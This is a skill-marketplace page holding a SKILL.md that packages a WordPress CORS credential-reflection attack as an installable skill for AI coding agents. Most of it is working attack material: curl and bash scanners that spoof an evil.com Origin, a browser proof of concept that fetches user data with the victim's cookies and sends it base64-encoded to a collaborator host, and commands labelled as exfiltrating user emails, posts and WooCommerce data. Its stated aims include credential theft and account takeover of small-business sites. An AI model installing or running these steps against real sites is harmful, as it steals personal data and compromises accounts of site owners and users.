用 Codex 或 Claude 帮你安装 复制这段 Prompt，粘贴到 Codex、Claude 或其他助手里，让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt；运行前请先检查来源。
npx skills add https://github.com/uphiago/recon-skills --skill cors-credential-wordpress命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地？可下载 SkillsMP 当前能够提供的文件。
基于 SOC 职业分类
正在显示 SKILL.md
| name | cors-credential-wordpress |
| description | Exploit WP CORS credential reflection for data theft. |
| version | 1.1.0 |
| revision_date | "2026-07-25T00:00:00.000Z" |
| license | MIT |
| platforms | ["linux"] |
| compatibility | Requires curl, nmap, python3, masscan, subfinder, httpx, nuclei |
| tags | ["recon","cors","wordpress","credential-theft","ATO"] |
| category | recon |
| related_skills | ["wp-mass-recon","xmlrpc-exploitation","cross-attack-chains","wordpress-full-compromise"] |
Detect, confirm, and exploit CORS credential reflection on WordPress REST API endpoints. CORS misconfiguration is one of the most common critical findings in US SMB WordPress sites (~7-8% of all WP targets), enabling cross-origin data exfiltration with victim cookies. Documents 8 CORS variants and full browser PoC construction.
wp-mass-recon flags a target with Access-Control-Allow-Credentials: true.web_extract or browser_navigate for browser PoC verification./wp-json/wp/v2/).# Quick detection
curl --max-time 30 --connect-timeout 10 -skI "https://TARGET/wp-json/wp/v2/users" -H "Origin: https://evil.com" | grep -iE "access-control"
# Full CORS matrix (10 endpoints)
for ep in "users" "posts" "pages" "media" "comments" "categories" "tags" "settings" "plugins" "themes"; do
echo "=== /wp-json/wp/v2/$ep ==="
curl --max-time 30 --connect-timeout 10 -skI "https://TARGET/wp-json/wp/v2/$ep" -H "Origin: https://evil.com" | grep -iE "access-control|http/"
echo ""
done
| Variant | Detection | Exploitability |
|---|---|---|
| Origin reflection + creds | Access-Control-Allow-Credentials: true + mirror Origin | Critical — full data theft |
| Null origin | Access-Control-Allow-Origin: null | High — sandboxed iframes |
| Wildcard no creds | Access-Control-Allow-Origin: * (no creds) | Info — public data only |
| Credentialed preflight | OPTIONS returns 200 + ACAC | High — if GET without preflight |
| Auth-only leak | CORS only on auth-protected endpoints | High — cookie theft |
| Multi-origin | Multiple origins reflected | Critical — broader attack surface |
| Plugin-specific CORS | CORS only on plugin namespace | Medium — plugin data |
| Staging-only CORS | Production has no CORS, staging does | Medium — dependent on staging access |
curl --max-time 30 --connect-timeout 10 -skI "https://TARGET/wp-json/wp/v2/users" \
-H "Origin: https://evil.com" \
-H "User-Agent: Mozilla/5.0" 2>&1
Positive signals:
Access-Control-Allow-Origin: https://evil.com (mirrors attacker origin)Access-Control-Allow-Credentials: true (sends cookies cross-origin)Access-Control-Allow-Methods: GET (data exfiltration vector)#!/bin/bash
TARGET="$1"
ENDPOINTS=(
"wp/v2/users"
"wp/v2/posts"
"wp/v2/pages"
"wp/v2/media"
"wp/v2/comments"
"wp/v2/categories"
"wp/v2/tags"
"wc/v3/products"
"wc/v3/orders"
"gf/v2/forms"
"elementor/v1/globals"
"revslider/v1/slides"
)
for ep in "${ENDPOINTS[@]}"; do
code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 10 --connect-timeout 10 "https://$TARGET/wp-json/$ep")
if [[ "$code" == "200" ]]; then
cors=$(curl -skI --max-time 10 --connect-timeout 10 "https://$TARGET/wp-json/$ep" -H "Origin: https://evil.com" 2>/dev/null | grep -i "access-control-allow-credentials: true")
if [[ -n "$cors" ]]; then
echo "[CRITICAL] CORS ON: /wp-json/$ep — data accessible cross-origin"
fi
fi
done
<script>
fetch("https://TARGET/wp-json/wp/v2/users", {
credentials: "include",
headers: { "Origin": "https://evil.com" }
})
.then(r => r.json())
.then(data => {
fetch("https://YOUR_COLLABORATOR/log?d=" + btoa(JSON.stringify(data)));
});
</script>
# Exfiltrate users with emails
curl --max-time 30 --connect-timeout 10 -sk "https://TARGET/wp-json/wp/v2/users?context=edit" \
-H "Origin: https://evil.com" | python3 -m json.tool | grep -E '"id"|"name"|"slug"|"email"|"roles"'
# Exfiltrate all posts
curl --max-time 30 --connect-timeout 10 -sk "https://TARGET/wp-json/wp/v2/posts?per_page=100" \
-H "Origin: https://evil.com" | python3 -c "
import sys, json
posts = json.load(sys.stdin)
for p in posts:
print(f\"{p['id']}: {p['title']['rendered']}\")
" 2>/dev/null
# Exfiltrate WooCommerce products
curl --max-time 30 --connect-timeout 10 -sk "https://TARGET/wp-json/wc/v3/products" \
-H "Origin: https://evil.com" | python3 -m json.tool 2>/dev/null | head -50
admin@target.com)credentials: "include" sends WP auth cookie/wp-admin/ as victimSameSite=Lax or SameSite=Strict cookies won't send cross-origin even with CORS. Check cookie attributes in browser.Origin header or block cross-origin requests. Test from non-Cloudflare IP.Access-Control-Allow-Origin: * without credentials — this is public data, not a vulnerability. The key is Access-Control-Allow-Credentials: true.Access-Control-Allow-Credentials: true AND an Access-Control-Allow-Origin that matches the attacker's origin (not *).